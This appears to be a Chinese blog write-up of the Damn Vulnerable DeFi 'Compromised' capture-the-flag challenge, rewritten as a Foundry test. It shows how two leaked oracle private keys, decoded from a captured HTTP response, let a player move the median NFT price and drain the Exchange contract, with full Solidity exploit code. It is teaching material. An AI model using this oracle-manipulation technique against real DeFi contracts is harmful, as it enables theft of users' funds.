xChar
·a year ago

Challenge #7 - Compromised

为了系统的学习solidity和foundry,我基于foundry测试框架重新编写damnvulnerable-defi的题解,欢迎交流和共建~🎉

https://github.com/zach030/damnvulnerabledefi-foundry

合约

  • Exchange: 提供购买(mint)和售卖(burn) DamnValuableNFT的方法,对应的价格由预言机提供
  • TrustfulOracle: 可信价格预言机合约,维护着由几个可信的账号设定的nft价格,对外提供查询nft价格中位数的方法
  • TrustfulOracleInitializer:用于部署TrustfulOracle合约并初始化nft价格

测试

  • 部署TrustfulOracleInitializer合约,顺带完成TrustfulOracle合约的部署,设置初始nft价格为INITIAL_NFT_PRICE
  • 部署Exchange合约,顺带完成DamnValuableNFT合约的部署,存入EXCHANGE_INITIAL_ETH_BALANCE
  • 执行攻击脚本
  • 期望Exchange合约中的余额为0,player余额为EXCHANGE_INITIAL_ETH_BALANCE,player不拥有nft,oracle中的nft价格中位数为INITIAL_NFT_PRICE

题解

通过阅读Exchange合约可以发现 buyOnesellOne 所需要付的和收回的eth都是由oracle提供的,通过 oracle.getMedianPrice() 方法获得nft的价格

攻击的目标是获取Exchange合约中的全部eth,则可以通过低买高卖nft的方式来赚取EXCHANGE_INITIAL_ETH_BALANCE数额的eth,因此最终目标来到了操纵预言机,通过分析oracle的获取nft价格中位数的方法可以得知,只需要操纵过半的预言机就可以达到修改价格的目的

function _computeMedianPrice(string memory symbol) private view returns (uint256) {
        uint256[] memory prices = getAllPricesForSymbol(symbol);
        LibSort.insertionSort(prices);
        if (prices.length % 2 == 0) {
            uint256 leftPrice = prices[(prices.length / 2) - 1];
            uint256 rightPrice = prices[prices.length / 2];
            return (leftPrice + rightPrice) / 2;
        } else {
            return prices[prices.length / 2];
        }
    }

题目中给了一段捕获到的http报文信息,合理推测这两段字符串就是对应其中两个预言机的私钥,将16进制数转成ASCII码,再通过base64解码,最终得到两个私钥

完整的流程图如下所示:

image

首先通过操纵预言机降低nft单价让player购买,再操纵预言机将nft价格提升让player卖出即完成攻击,代码如下:

function testExploit() public{
        /*Code solution here*/
        oracle1 = vm.addr(0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9);
        oracle2 = vm.addr(0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48);

        postPrice(0.0001 ether);

        vm.startPrank(player);
        uint256 id = exchange.buyOne{value: 0.0001 ether}();
        vm.stopPrank();

        uint256 exchangeBalance = address(exchange).balance;
        postPrice(exchangeBalance);

        vm.startPrank(player);
        nftToken.approve(address(exchange), id);
        exchange.sellOne(id);
        vm.stopPrank();

        postPrice(INITIAL_NFT_PRICE);

        validation();
    }

function postPrice(uint256 price) public{
        vm.startPrank(oracle1);
        oracle.postPrice('DVNFT', price);
        vm.stopPrank();
        vm.startPrank(oracle2);
        oracle.postPrice('DVNFT', price);
        vm.stopPrank();
    }
Loading comments...